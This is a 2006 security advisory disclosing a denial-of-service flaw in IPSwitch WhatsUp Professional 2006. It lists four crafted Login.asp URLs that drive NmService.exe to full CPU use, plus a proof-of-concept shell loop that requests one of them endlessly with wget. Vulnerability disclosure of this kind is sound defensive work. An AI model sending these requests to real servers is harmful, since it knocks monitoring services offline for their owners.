Synopsis: IPSwitch WhatsUp Professional 2006 DoS Flaw Product: IPSwitch WhatsUp http://www.ipswitch.com Version: Confirmed on WhatsUp Professional 2006 Author: Josh Zlatin-Amishav Date: February 22, 2006 Background: WhatsUp Professional 2006 is application and network management that keeps your critical business technology, like email servers and databases, working efficiently so you can run your business. Issue: The NmService.exe executable does not handle certain requests properly. The following URLs can be used to create a DoS condition due to the NmService using 100% CPU http://[target]:81/NmConsole/Login.asp?bIsJavaScriptDisabled=true&sLogin Password=&btnLogIn=[Log&In]=&sLoginUserName= http://[target]:81/NmConsole/Login.asp?bIsJavaScriptDisabled=true&sLogin UserName=&btnLogIn=[Log&In]=&sLoginPassword= http://[target]:81/NmConsole/Login.asp?bIsJavaScriptDisabled=true&sLogin UserName=&sLoginPassword=&In]=&btnLogIn= http://[target]:81/NmConsole/Login.asp?bIsJavaScriptDisabled=true&sLogin UserName=&sLoginPassword=&btnLogIn=[Log&In]= PoC: while [ 1 ]; do wget -O /dev/null http://[target]:81/NmConsole/Login.asp?bIsJavaScriptDisabled=true&sLogin Password=&b;tnLogIn=[Log&In]=&sLoginUserName=; done References: http://www.ipswitch.com http://zur.homelinux.com/Advisories/ipswitch_dos.txt